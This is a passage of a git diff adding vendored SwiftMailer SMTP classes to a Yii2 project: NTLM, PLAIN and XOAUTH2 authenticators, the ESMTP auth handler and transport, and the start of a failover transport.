zero + if ($si >= 0) { + $bin = base_convert($si, 10, 2); + // pad to $bits bit + $bin_length = strlen($bin); + if ($bin_length < $bits) { + $bin = str_repeat("0", $bits - $bin_length).$bin; + } + } else { + // negative + $si = -$si - pow(2, $bits); + $bin = base_convert($si, 10, 2); + $bin_length = strlen($bin); + if ($bin_length > $bits) { + $bin = str_repeat("1", $bits - $bin_length).$bin; + } + } + } + + return $bin; + } + + /** + * Send our auth message and returns the response + * + * @param Swift_Transport_SmtpAgent $agent + * @return string SMTP Response + */ + protected function sendMessage1(Swift_Transport_SmtpAgent $agent) + { + $message = $this->createMessage1(); + + return $agent->executeCommand(sprintf("AUTH %s %s\r\n", $this->getAuthKeyword(), base64_encode($message)), array(334)); + } + + /** + * Fetch all details of our response (message 2) + * + * @param string $response + * @return array our response parsed + */ + protected function parseMessage2($response) + { + $responseHex = bin2hex($response); + $length = floor(hexdec(substr($responseHex, 28, 4)) / 256) * 2; + $offset = floor(hexdec(substr($responseHex, 32, 4)) / 256) * 2; + $challenge = $this->hex2bin(substr($responseHex, 48, 16)); + $context = $this->hex2bin(substr($responseHex, 64, 16)); + $targetInfoH = $this->hex2bin(substr($responseHex, 80, 16)); + $targetName = $this->hex2bin(substr($responseHex, $offset, $length)); + $offset = floor(hexdec(substr($responseHex, 88, 4)) / 256) * 2; + $targetInfoBlock = substr($responseHex, $offset); + list($domainName, $serverName, $DNSDomainName, $DNSServerName, $terminatorByte) = $this->readSubBlock($targetInfoBlock); + + return array( + $challenge, + $context, + $targetInfoH, + $targetName, + $domainName, + $serverName, + $DNSDomainName, + $DNSServerName, + $this->hex2bin($targetInfoBlock), + $terminatorByte, + ); + } + + /** + * Read the blob information in from message2 + * + * @param $block + * @return array + */ + protected function readSubBlock($block) + { + // remove terminatorByte cause it's always the same + $block = substr($block, 0, -8); + + $length = strlen($block); + $offset = 0; + $data = array(); + while ($offset < $length) { + $blockLength = hexdec(substr(substr($block, $offset, 8), -4)) / 256; + $offset += 8; + $data[] = $this->hex2bin(substr($block, $offset, $blockLength * 2)); + $offset += $blockLength * 2; + } + + if (count($data) == 3) { + $data[] = $data[2]; + $data[2] = ''; + } + + $data[] = $this->createByte('00'); + + return $data; + } + + /** + * Send our final message with all our data + * + * @param string $response Message 1 response (message 2) + * @param string $username + * @param string $password + * @param string $timestamp + * @param string $client + * @param Swift_Transport_SmtpAgent $agent + * @param bool $v2 Use version2 of the protocol + * @return string + */ + protected function sendMessage3($response, $username, $password, $timestamp, $client, Swift_Transport_SmtpAgent $agent, $v2 = true) + { + list($domain, $username) = $this->getDomainAndUsername($username); + //$challenge, $context, $targetInfoH, $targetName, $domainName, $workstation, $DNSDomainName, $DNSServerName, $blob, $ter + list($challenge, , , , , $workstation, , , $blob) = $this->parseMessage2($response); + + if (!$v2) { + // LMv1 + $lmResponse = $this->createLMPassword($password, $challenge); + // NTLMv1 + $ntlmResponse = $this->createNTLMPassword($password, $challenge); + } else { + // LMv2 + $lmResponse = $this->createLMv2Password($password, $username, $domain, $challenge, $client); + // NTLMv2 + $ntlmResponse = $this->createNTLMv2Hash($password, $username, $domain, $challenge, $blob, $timestamp, $client); + } + + $message = $this->createMessage3($domain, $username, $workstation, $lmResponse, $ntlmResponse); + + return $agent->executeCommand(sprintf("%s\r\n", base64_encode($message)), array(235)); + } + + /** + * Create our message 1 + * + * @return string + */ + protected function createMessage1() + { + return self::NTLMSIG + .$this->createByte('01') // Message 1 +.$this->createByte('0702'); // Flags + } + + /** + * Create our message 3 + * + * @param string $domain + * @param string $username + * @param string $workstation + * @param string $lmResponse + * @param string $ntlmResponse + * @return string + */ + protected function createMessage3($domain, $username, $workstation, $lmResponse, $ntlmResponse) + { + // Create security buffers + $domainSec = $this->createSecurityBuffer($domain, 64); + $domainInfo = $this->readSecurityBuffer(bin2hex($domainSec)); + $userSec = $this->createSecurityBuffer($username, ($domainInfo[0] + $domainInfo[1]) / 2); + $userInfo = $this->readSecurityBuffer(bin2hex($userSec)); + $workSec = $this->createSecurityBuffer($workstation, ($userInfo[0] + $userInfo[1]) / 2); + $workInfo = $this->readSecurityBuffer(bin2hex($workSec)); + $lmSec = $this->createSecurityBuffer($lmResponse, ($workInfo[0] + $workInfo[1]) / 2, true); + $lmInfo = $this->readSecurityBuffer(bin2hex($lmSec)); + $ntlmSec = $this->createSecurityBuffer($ntlmResponse, ($lmInfo[0] + $lmInfo[1]) / 2, true); + + return self::NTLMSIG + .$this->createByte('03') // TYPE 3 message +.$lmSec // LM response header +.$ntlmSec // NTLM response header +.$domainSec // Domain header +.$userSec // User header +.$workSec // Workstation header +.$this->createByte("000000009a", 8) // session key header (empty) +.$this->createByte('01020000') // FLAGS +.$this->convertTo16bit($domain) // domain name +.$this->convertTo16bit($username) // username +.$this->convertTo16bit($workstation) // workstation +.$lmResponse + .$ntlmResponse; + } + + /** + * @param string $timestamp Epoch timestamp in microseconds + * @param string $client Random bytes + * @param string $targetInfo + * @return string + */ + protected function createBlob($timestamp, $client, $targetInfo) + { + return $this->createByte('0101') + .$this->createByte('00') + .$timestamp + .$client + .$this->createByte('00') + .$targetInfo + .$this->createByte('00'); + } + + /** + * Get domain and username from our username + * + * @example DOMAIN\username + * + * @param string $name + * @return array + */ + protected function getDomainAndUsername($name) + { + if (strpos($name, '\\') !== false) { + return explode('\\', $name); + } + + list($user, $domain) = explode('@', $name); + + return array($domain, $user); + } + + /** + * Create LMv1 response + * + * @param string $password + * @param string $challenge + * @return string + */ + protected function createLMPassword($password, $challenge) + { + // FIRST PART + $password = $this->createByte(strtoupper($password), 14, false); + list($key1, $key2) = str_split($password, 7); + + $desKey1 = $this->createDesKey($key1); + $desKey2 = $this->createDesKey($key2); + + $constantDecrypt = $this->createByte($this->desEncrypt(self::DESCONST, $desKey1).$this->desEncrypt(self::DESCONST, $desKey2), 21, false); + + // SECOND PART + list($key1, $key2, $key3) = str_split($constantDecrypt, 7); + + $desKey1 = $this->createDesKey($key1); + $desKey2 = $this->createDesKey($key2); + $desKey3 = $this->createDesKey($key3); + + return $this->desEncrypt($challenge, $desKey1).$this->desEncrypt($challenge, $desKey2).$this->desEncrypt($challenge, $desKey3); + } + + /** + * Create NTLMv1 response + * + * @param string $password + * @param string $challenge + * @return string + */ + protected function createNTLMPassword($password, $challenge) + { + // FIRST PART + $ntlmHash = $this->createByte($this->md4Encrypt($password), 21, false); + list($key1, $key2, $key3) = str_split($ntlmHash, 7); + + $desKey1 = $this->createDesKey($key1); + $desKey2 = $this->createDesKey($key2); + $desKey3 = $this->createDesKey($key3); + + return $this->desEncrypt($challenge, $desKey1).$this->desEncrypt($challenge, $desKey2).$this->desEncrypt($challenge, $desKey3); + } + + /** + * Convert a normal timestamp to a tenth of a microtime epoch time + * + * @param string $time + * @return string + */ + protected function getCorrectTimestamp($time) + { + // Get our timestamp (tricky!) + bcscale(0); + + $time = number_format($time, 0, '.', ''); // save microtime to string + $time = bcadd($time, "11644473600000"); // add epoch time + $time = bcmul($time, 10000); // tenths of a microsecond. + + $binary = $this->si2bin($time, 64); // create 64 bit binary string + $timestamp = ""; + for ($i = 0; $i < 8; $i++) { + $timestamp .= chr(bindec(substr($binary, -(($i + 1) * 8), 8))); + } + + return $timestamp; + } + + /** + * Create LMv2 response + * + * @param string $password + * @param string $username + * @param string $domain + * @param string $challenge NTLM Challenge + * @param string $client Random string + * @return string + */ + protected function createLMv2Password($password, $username, $domain, $challenge, $client) + { + $lmPass = '00'; // by default 00 + // if $password > 15 than we can't use this method + if (strlen($password) <= 15) { + $ntlmHash = $this->md4Encrypt($password); + $ntml2Hash = $this->md5Encrypt($ntlmHash, $this->convertTo16bit(strtoupper($username).$domain)); + + $lmPass = bin2hex($this->md5Encrypt($ntml2Hash, $challenge.$client).$client); + } + + return $this->createByte($lmPass, 24); + } + + /** + * Create NTLMv2 response + * + * @param string $password + * @param string $username + * @param string $domain + * @param string $challenge Hex values + * @param string $targetInfo Hex values + * @param string $timestamp + * @param string $client Random bytes + * @return string + * @see http://davenport.sourceforge.net/ntlm.html#theNtlmResponse + */ + protected function createNTLMv2Hash($password, $username, $domain, $challenge, $targetInfo, $timestamp, $client) + { + $ntlmHash = $this->md4Encrypt($password); + $ntml2Hash = $this->md5Encrypt($ntlmHash, $this->convertTo16bit(strtoupper($username).$domain)); + + // create blob + $blob = $this->createBlob($timestamp, $client, $targetInfo); + + $ntlmv2Response = $this->md5Encrypt($ntml2Hash, $challenge.$blob); + + return $ntlmv2Response.$blob; + } + + protected function createDesKey($key) + { + $material = array(bin2hex($key[0])); + $len = strlen($key); + for ($i = 1; $i < $len; $i++) { + list($high, $low) = str_split(bin2hex($key[$i])); + $v = $this->castToByte(ord($key[$i - 1]) << (7 + 1 - $i) | $this->uRShift(hexdec(dechex(hexdec($high) & 0xf).dechex(hexdec($low) & 0xf)), $i)); + $material[] = str_pad(substr(dechex($v), -2), 2, '0', STR_PAD_LEFT); // cast to byte + } + $material[] = str_pad(substr(dechex($this->castToByte(ord($key[6]) << 1)), -2), 2, '0'); + + // odd parity + foreach ($material as $k => $v) { + $b = $this->castToByte(hexdec($v)); + $needsParity = (($this->uRShift($b, 7) ^ $this->uRShift($b, 6) ^ $this->uRShift($b, 5) + ^ $this->uRShift($b, 4) ^ $this->uRShift($b, 3) ^ $this->uRShift($b, 2) + ^ $this->uRShift($b, 1)) & 0x01) == 0; + + list($high, $low) = str_split($v); + if ($needsParity) { + $material[$k] = dechex(hexdec($high) | 0x0).dechex(hexdec($low) | 0x1); + } else { + $material[$k] = dechex(hexdec($high) & 0xf).dechex(hexdec($low) & 0xe); + } + } + + return $this->hex2bin(implode('', $material)); + } + + /** HELPER FUNCTIONS */ + /** + * Create our security buffer depending on length and offset + * + * @param string $value Value we want to put in + * @param int $offset start of value + * @param bool $is16 Do we 16bit string or not? + * @return string + */ + protected function createSecurityBuffer($value, $offset, $is16 = false) + { + $length = strlen(bin2hex($value)); + $length = $is16 ? $length / 2 : $length; + $length = $this->createByte(str_pad(dechex($length), 2, '0', STR_PAD_LEFT), 2); + + return $length.$length.$this->createByte(dechex($offset), 4); + } + + /** + * Read our security buffer to fetch length and offset of our value + * + * @param string $value Securitybuffer in hex + * @return array array with length and offset + */ + protected function readSecurityBuffer($value) + { + $length = floor(hexdec(substr($value, 0, 4)) / 256) * 2; + $offset = floor(hexdec(substr($value, 8, 4)) / 256) * 2; + + return array($length, $offset); + } + + /** + * Cast to byte java equivalent to (byte) + * + * @param int $v + * @return int + */ + protected function castToByte($v) + { + return (($v + 128) % 256) - 128; + } + + /** + * Java unsigned right bitwise + * $a >>> $b + * + * @param int $a + * @param int $b + * @return int + */ + protected function uRShift($a, $b) + { + if ($b == 0) { + return $a; + } + + return ($a >> $b) & ~(1 << (8 * PHP_INT_SIZE - 1) >> ($b - 1)); + } + + /** + * Right padding with 0 to certain length + * + * @param string $input + * @param int $bytes Length of bytes + * @param bool $isHex Did we provided hex value + * @return string + */ + protected function createByte($input, $bytes = 4, $isHex = true) + { + if ($isHex) { + $byte = $this->hex2bin(str_pad($input, $bytes * 2, '00')); + } else { + $byte = str_pad($input, $bytes, "\x00"); + } + + return $byte; + } + + /** + * Create random bytes + * + * @param $length + * @return string + */ + protected function getRandomBytes($length) + { + $bytes = openssl_random_pseudo_bytes($length, $strong); + + if (false !== $bytes && true === $strong) { + return $bytes; + } + + throw new RuntimeException('OpenSSL did not produce a secure random number.'); + } + + /** ENCRYPTION ALGORITHMS */ + /** + * DES Encryption + * + * @param string $value + * @param string $key + * @return string + */ + protected function desEncrypt($value, $key) + { + $cipher = mcrypt_module_open(MCRYPT_DES, '', 'ecb', ''); + mcrypt_generic_init($cipher, $key, mcrypt_create_iv(mcrypt_enc_get_iv_size($cipher), MCRYPT_DEV_RANDOM)); + + return mcrypt_generic($cipher, $value); + } + + /** + * MD5 Encryption + * + * @param string $key Encryption key + * @param string $msg Message to encrypt + * @return string + */ + protected function md5Encrypt($key, $msg) + { + $blocksize = 64; + if (strlen($key) > $blocksize) { + $key = pack('H*', md5($key)); + } + + $key = str_pad($key, $blocksize, "\0"); + $ipadk = $key ^ str_repeat("\x36", $blocksize); + $opadk = $key ^ str_repeat("\x5c", $blocksize); + + return pack('H*', md5($opadk.pack('H*', md5($ipadk.$msg)))); + } + + /** + * MD4 Encryption + * + * @param string $input + * @return string + * @see http://php.net/manual/en/ref.hash.php + */ + protected function md4Encrypt($input) + { + $input = $this->convertTo16bit($input); + + return function_exists('hash') ? $this->hex2bin(hash('md4', $input)) : mhash(MHASH_MD4, $input); + } + + /** + * Convert UTF-8 to UTF-16 + * + * @param string $input + * @return string + */ + protected function convertTo16bit($input) + { + return iconv('UTF-8', 'UTF-16LE', $input); + } + + /** + * Hex2bin replacement for < PHP 5.4 + * @param string $hex + * @return string Binary + */ + protected function hex2bin($hex) + { + if (function_exists('hex2bin')) { + return hex2bin($hex); + } else { + return pack('H*', $hex); + } + } + + /** + * @param string $message + */ + protected function debug($message) + { + $message = bin2hex($message); + $messageId = substr($message, 16, 8); + echo substr($message, 0, 16)." NTLMSSP Signature
            \n"; + echo $messageId." Type Indicator
            \n"; + + if ($messageId == "02000000") { + $map = array( + 'Challenge', + 'Context', + 'Target Information Security Buffer', + 'Target Name Data', + 'NetBIOS Domain Name', + 'NetBIOS Server Name', + 'DNS Domain Name', + 'DNS Server Name', + 'BLOB', + 'Target Information Terminator', + ); + + $data = $this->parseMessage2($this->hex2bin($message)); + + foreach ($map as $key => $value) { + echo bin2hex($data[$key]).' - '.$data[$key].' ||| '.$value."
            \n"; + } + } elseif ($messageId == "03000000") { + $i = 0; + $data[$i++] = substr($message, 24, 16); + list($lmLength, $lmOffset) = $this->readSecurityBuffer($data[$i - 1]); + + $data[$i++] = substr($message, 40, 16); + list($ntmlLength, $ntmlOffset) = $this->readSecurityBuffer($data[$i - 1]); + + $data[$i++] = substr($message, 56, 16); + list($targetLength, $targetOffset) = $this->readSecurityBuffer($data[$i - 1]); + + $data[$i++] = substr($message, 72, 16); + list($userLength, $userOffset) = $this->readSecurityBuffer($data[$i - 1]); + + $data[$i++] = substr($message, 88, 16); + list($workLength, $workOffset) = $this->readSecurityBuffer($data[$i - 1]); + + $data[$i++] = substr($message, 104, 16); + $data[$i++] = substr($message, 120, 8); + $data[$i++] = substr($message, $targetOffset, $targetLength); + $data[$i++] = substr($message, $userOffset, $userLength); + $data[$i++] = substr($message, $workOffset, $workLength); + $data[$i++] = substr($message, $lmOffset, $lmLength); + $data[$i] = substr($message, $ntmlOffset, $ntmlLength); + + $map = array( + 'LM Response Security Buffer', + 'NTLM Response Security Buffer', + 'Target Name Security Buffer', + 'User Name Security Buffer', + 'Workstation Name Security Buffer', + 'Session Key Security Buffer', + 'Flags', + 'Target Name Data', + 'User Name Data', + 'Workstation Name Data', + 'LM Response Data', + 'NTLM Response Data', + ); + + foreach ($map as $key => $value) { + echo $data[$key].' - '.$this->hex2bin($data[$key]).' ||| '.$value."
            \n"; + } + } + + echo "

            "; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/PlainAuthenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/PlainAuthenticator.php new file mode 100644 index 00000000..98f6d181 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/PlainAuthenticator.php @@ -0,0 +1,50 @@ +executeCommand(sprintf("AUTH PLAIN %s\r\n", $message), array(235)); + + return true; + } catch (Swift_TransportException $e) { + $agent->executeCommand("RSET\r\n", array(250)); + + return false; + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/XOAuth2Authenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/XOAuth2Authenticator.php new file mode 100644 index 00000000..80c00b98 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/XOAuth2Authenticator.php @@ -0,0 +1,69 @@ + + * $transport = Swift_SmtpTransport::newInstance('smtp.gmail.com', 587, 'tls') + * ->setAuthMode('XOAUTH2') + * ->setUsername('YOUR_EMAIL_ADDRESS') + * ->setPassword('YOUR_ACCESS_TOKEN'); + * + * + * @author xu.li + * @see https://developers.google.com/google-apps/gmail/xoauth2_protocol + */ +class Swift_Transport_Esmtp_Auth_XOAuth2Authenticator implements Swift_Transport_Esmtp_Authenticator +{ + /** + * Get the name of the AUTH mechanism this Authenticator handles. + * + * @return string + */ + public function getAuthKeyword() + { + return 'XOAUTH2'; + } + + /** + * Try to authenticate the user with $email and $token. + * + * @param Swift_Transport_SmtpAgent $agent + * @param string $email + * @param string $token + * + * @return bool + */ + public function authenticate(Swift_Transport_SmtpAgent $agent, $email, $token) + { + try { + $param = $this->constructXOAuth2Params($email, $token); + $agent->executeCommand("AUTH XOAUTH2 ".$param."\r\n", array(235)); + + return true; + } catch (Swift_TransportException $e) { + $agent->executeCommand("RSET\r\n", array(250)); + + return false; + } + } + + /** + * Construct the auth parameter + * + * @see https://developers.google.com/google-apps/gmail/xoauth2_protocol#the_sasl_xoauth2_mechanism + */ + protected function constructXOAuth2Params($email, $token) + { + return base64_encode("user=$email\1auth=Bearer $token\1\1"); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/AuthHandler.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/AuthHandler.php new file mode 100644 index 00000000..6b83194c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/AuthHandler.php @@ -0,0 +1,263 @@ +setAuthenticators($authenticators); + } + + /** + * Set the Authenticators which can process a login request. + * + * @param Swift_Transport_Esmtp_Authenticator[] $authenticators + */ + public function setAuthenticators(array $authenticators) + { + $this->_authenticators = $authenticators; + } + + /** + * Get the Authenticators which can process a login request. + * + * @return Swift_Transport_Esmtp_Authenticator[] + */ + public function getAuthenticators() + { + return $this->_authenticators; + } + + /** + * Set the username to authenticate with. + * + * @param string $username + */ + public function setUsername($username) + { + $this->_username = $username; + } + + /** + * Get the username to authenticate with. + * + * @return string + */ + public function getUsername() + { + return $this->_username; + } + + /** + * Set the password to authenticate with. + * + * @param string $password + */ + public function setPassword($password) + { + $this->_password = $password; + } + + /** + * Get the password to authenticate with. + * + * @return string + */ + public function getPassword() + { + return $this->_password; + } + + /** + * Set the auth mode to use to authenticate. + * + * @param string $mode + */ + public function setAuthMode($mode) + { + $this->_auth_mode = $mode; + } + + /** + * Get the auth mode to use to authenticate. + * + * @return string + */ + public function getAuthMode() + { + return $this->_auth_mode; + } + + /** + * Get the name of the ESMTP extension this handles. + * + * @return bool + */ + public function getHandledKeyword() + { + return 'AUTH'; + } + + /** + * Set the parameters which the EHLO greeting indicated. + * + * @param string[] $parameters + */ + public function setKeywordParams(array $parameters) + { + $this->_esmtpParams = $parameters; + } + + /** + * Runs immediately after a EHLO has been issued. + * + * @param Swift_Transport_SmtpAgent $agent to read/write + */ + public function afterEhlo(Swift_Transport_SmtpAgent $agent) + { + if ($this->_username) { + $count = 0; + foreach ($this->_getAuthenticatorsForAgent() as $authenticator) { + if (in_array(strtolower($authenticator->getAuthKeyword()), + array_map('strtolower', $this->_esmtpParams))) { + $count++; + if ($authenticator->authenticate($agent, $this->_username, $this->_password)) { + return; + } + } + } + throw new Swift_TransportException( + 'Failed to authenticate on SMTP server with username "'. + $this->_username.'" using '.$count.' possible authenticators' + ); + } + } + + /** + * Not used. + */ + public function getMailParams() + { + return array(); + } + + /** + * Not used. + */ + public function getRcptParams() + { + return array(); + } + + /** + * Not used. + */ + public function onCommand(Swift_Transport_SmtpAgent $agent, $command, $codes = array(), &$failedRecipients = null, &$stop = false) + { + } + + /** + * Returns +1, -1 or 0 according to the rules for usort(). + * + * This method is called to ensure extensions can be execute in an appropriate order. + * + * @param string $esmtpKeyword to compare with + * + * @return int + */ + public function getPriorityOver($esmtpKeyword) + { + return 0; + } + + /** + * Returns an array of method names which are exposed to the Esmtp class. + * + * @return string[] + */ + public function exposeMixinMethods() + { + return array('setUsername', 'getUsername', 'setPassword', 'getPassword', 'setAuthMode', 'getAuthMode'); + } + + /** + * Not used. + */ + public function resetState() + { + } + + /** + * Returns the authenticator list for the given agent. + * + * @param Swift_Transport_SmtpAgent $agent + * + * @return array + */ + protected function _getAuthenticatorsForAgent() + { + if (!$mode = strtolower($this->_auth_mode)) { + return $this->_authenticators; + } + + foreach ($this->_authenticators as $authenticator) { + if (strtolower($authenticator->getAuthKeyword()) == $mode) { + return array($authenticator); + } + } + + throw new Swift_TransportException('Auth mode '.$mode.' is invalid'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Authenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Authenticator.php new file mode 100644 index 00000000..9078003a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Authenticator.php @@ -0,0 +1,35 @@ +. + * + * @return string[] + */ + public function getMailParams(); + + /** + * Get params which are appended to RCPT TO:<>. + * + * @return string[] + */ + public function getRcptParams(); + + /** + * Runs when a command is due to be sent. + * + * @param Swift_Transport_SmtpAgent $agent to read/write + * @param string $command to send + * @param int[] $codes expected in response + * @param string[] $failedRecipients to collect failures + * @param bool $stop to be set true by-reference if the command is now sent + */ + public function onCommand(Swift_Transport_SmtpAgent $agent, $command, $codes = array(), &$failedRecipients = null, &$stop = false); + + /** + * Returns +1, -1 or 0 according to the rules for usort(). + * + * This method is called to ensure extensions can be execute in an appropriate order. + * + * @param string $esmtpKeyword to compare with + * + * @return int + */ + public function getPriorityOver($esmtpKeyword); + + /** + * Returns an array of method names which are exposed to the Esmtp class. + * + * @return string[] + */ + public function exposeMixinMethods(); + + /** + * Tells this handler to clear any buffers and reset its state. + */ + public function resetState(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/EsmtpTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/EsmtpTransport.php new file mode 100644 index 00000000..e860a8ef --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/EsmtpTransport.php @@ -0,0 +1,386 @@ + 'tcp', + 'host' => 'localhost', + 'port' => 25, + 'timeout' => 30, + 'blocking' => 1, + 'tls' => false, + 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, + ); + + /** + * Creates a new EsmtpTransport using the given I/O buffer. + * + * @param Swift_Transport_IoBuffer $buf + * @param Swift_Transport_EsmtpHandler[] $extensionHandlers + * @param Swift_Events_EventDispatcher $dispatcher + */ + public function __construct(Swift_Transport_IoBuffer $buf, array $extensionHandlers, Swift_Events_EventDispatcher $dispatcher) + { + parent::__construct($buf, $dispatcher); + $this->setExtensionHandlers($extensionHandlers); + } + + /** + * Set the host to connect to. + * + * @param string $host + * + * @return Swift_Transport_EsmtpTransport + */ + public function setHost($host) + { + $this->_params['host'] = $host; + + return $this; + } + + /** + * Get the host to connect to. + * + * @return string + */ + public function getHost() + { + return $this->_params['host']; + } + + /** + * Set the port to connect to. + * + * @param int $port + * + * @return Swift_Transport_EsmtpTransport + */ + public function setPort($port) + { + $this->_params['port'] = (int) $port; + + return $this; + } + + /** + * Get the port to connect to. + * + * @return int + */ + public function getPort() + { + return $this->_params['port']; + } + + /** + * Set the connection timeout. + * + * @param int $timeout seconds + * + * @return Swift_Transport_EsmtpTransport + */ + public function setTimeout($timeout) + { + $this->_params['timeout'] = (int) $timeout; + $this->_buffer->setParam('timeout', (int) $timeout); + + return $this; + } + + /** + * Get the connection timeout. + * + * @return int + */ + public function getTimeout() + { + return $this->_params['timeout']; + } + + /** + * Set the encryption type (tls or ssl) + * + * @param string $encryption + * + * @return Swift_Transport_EsmtpTransport + */ + public function setEncryption($encryption) + { + if ('tls' == $encryption) { + $this->_params['protocol'] = 'tcp'; + $this->_params['tls'] = true; + } else { + $this->_params['protocol'] = $encryption; + $this->_params['tls'] = false; + } + + return $this; + } + + /** + * Get the encryption type. + * + * @return string + */ + public function getEncryption() + { + return $this->_params['tls'] ? 'tls' : $this->_params['protocol']; + } + + /** + * Sets the source IP. + * + * @param string $source + * + * @return Swift_Transport_EsmtpTransport + */ + public function setSourceIp($source) + { + $this->_params['sourceIp'] = $source; + + return $this; + } + + /** + * Returns the IP used to connect to the destination. + * + * @return string + */ + public function getSourceIp() + { + return $this->_params['sourceIp']; + } + + /** + * Set ESMTP extension handlers. + * + * @param Swift_Transport_EsmtpHandler[] $handlers + * + * @return Swift_Transport_EsmtpTransport + */ + public function setExtensionHandlers(array $handlers) + { + $assoc = array(); + foreach ($handlers as $handler) { + $assoc[$handler->getHandledKeyword()] = $handler; + } + uasort($assoc, array($this, '_sortHandlers')); + $this->_handlers = $assoc; + $this->_setHandlerParams(); + + return $this; + } + + /** + * Get ESMTP extension handlers. + * + * @return Swift_Transport_EsmtpHandler[] + */ + public function getExtensionHandlers() + { + return array_values($this->_handlers); + } + + /** + * Run a command against the buffer, expecting the given response codes. + * + * If no response codes are given, the response will not be validated. + * If codes are given, an exception will be thrown on an invalid response. + * + * @param string $command + * @param int[] $codes + * @param string[] $failures An array of failures by-reference + * + * @return string + */ + public function executeCommand($command, $codes = array(), &$failures = null) + { + $failures = (array) $failures; + $stopSignal = false; + $response = null; + foreach ($this->_getActiveHandlers() as $handler) { + $response = $handler->onCommand( + $this, $command, $codes, $failures, $stopSignal + ); + if ($stopSignal) { + return $response; + } + } + + return parent::executeCommand($command, $codes, $failures); + } + + // -- Mixin invocation code + + /** Mixin handling method for ESMTP handlers */ + public function __call($method, $args) + { + foreach ($this->_handlers as $handler) { + if (in_array(strtolower($method), + array_map('strtolower', (array) $handler->exposeMixinMethods()) + )) { + $return = call_user_func_array(array($handler, $method), $args); + // Allow fluid method calls + if (is_null($return) && substr($method, 0, 3) == 'set') { + return $this; + } else { + return $return; + } + } + } + trigger_error('Call to undefined method '.$method, E_USER_ERROR); + } + + /** Get the params to initialize the buffer */ + protected function _getBufferParams() + { + return $this->_params; + } + + /** Overridden to perform EHLO instead */ + protected function _doHeloCommand() + { + try { + $response = $this->executeCommand( + sprintf("EHLO %s\r\n", $this->_domain), array(250) + ); + } catch (Swift_TransportException $e) { + return parent::_doHeloCommand(); + } + + if ($this->_params['tls']) { + try { + $this->executeCommand("STARTTLS\r\n", array(220)); + + if (!$this->_buffer->startTLS()) { + throw new Swift_TransportException('Unable to connect with TLS encryption'); + } + + try { + $response = $this->executeCommand( + sprintf("EHLO %s\r\n", $this->_domain), array(250) + ); + } catch (Swift_TransportException $e) { + return parent::_doHeloCommand(); + } + } catch (Swift_TransportException $e) { + $this->_throwException($e); + } + } + + $this->_capabilities = $this->_getCapabilities($response); + $this->_setHandlerParams(); + foreach ($this->_getActiveHandlers() as $handler) { + $handler->afterEhlo($this); + } + } + + /** Overridden to add Extension support */ + protected function _doMailFromCommand($address) + { + $handlers = $this->_getActiveHandlers(); + $params = array(); + foreach ($handlers as $handler) { + $params = array_merge($params, (array) $handler->getMailParams()); + } + $paramStr = !empty($params) ? ' '.implode(' ', $params) : ''; + $this->executeCommand( + sprintf("MAIL FROM: <%s>%s\r\n", $address, $paramStr), array(250) + ); + } + + /** Overridden to add Extension support */ + protected function _doRcptToCommand($address) + { + $handlers = $this->_getActiveHandlers(); + $params = array(); + foreach ($handlers as $handler) { + $params = array_merge($params, (array) $handler->getRcptParams()); + } + $paramStr = !empty($params) ? ' '.implode(' ', $params) : ''; + $this->executeCommand( + sprintf("RCPT TO: <%s>%s\r\n", $address, $paramStr), array(250, 251, 252) + ); + } + + /** Determine ESMTP capabilities by function group */ + private function _getCapabilities($ehloResponse) + { + $capabilities = array(); + $ehloResponse = trim($ehloResponse); + $lines = explode("\r\n", $ehloResponse); + array_shift($lines); + foreach ($lines as $line) { + if (preg_match('/^[0-9]{3}[ -]([A-Z0-9-]+)((?:[ =].*)?)$/Di', $line, $matches)) { + $keyword = strtoupper($matches[1]); + $paramStr = strtoupper(ltrim($matches[2], ' =')); + $params = !empty($paramStr) ? explode(' ', $paramStr) : array(); + $capabilities[$keyword] = $params; + } + } + + return $capabilities; + } + + /** Set parameters which are used by each extension handler */ + private function _setHandlerParams() + { + foreach ($this->_handlers as $keyword => $handler) { + if (array_key_exists($keyword, $this->_capabilities)) { + $handler->setKeywordParams($this->_capabilities[$keyword]); + } + } + } + + /** Get ESMTP handlers which are currently ok to use */ + private function _getActiveHandlers() + { + $handlers = array(); + foreach ($this->_handlers as $keyword => $handler) { + if (array_key_exists($keyword, $this->_capabilities)) { + $handlers[] = $handler; + } + } + + return $handlers; + } + + /** Custom sort for extension handler ordering */ + private function _sortHandlers($a, $b) + { + return $a->getPriorityOver($b->getHandledKeyword()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/FailoverTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/FailoverTransport.php new file mode 100644 index 00000000..eafde009 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/FailoverTransport.php @@ -0,0 +1,85 @@ +_transports); + $sent = 0; + + for ($i = 0; $i < $maxTransports + && $transport = $this->_getNextTransport(); ++$i) { + try { + if (!$transport->isStarted()) { + 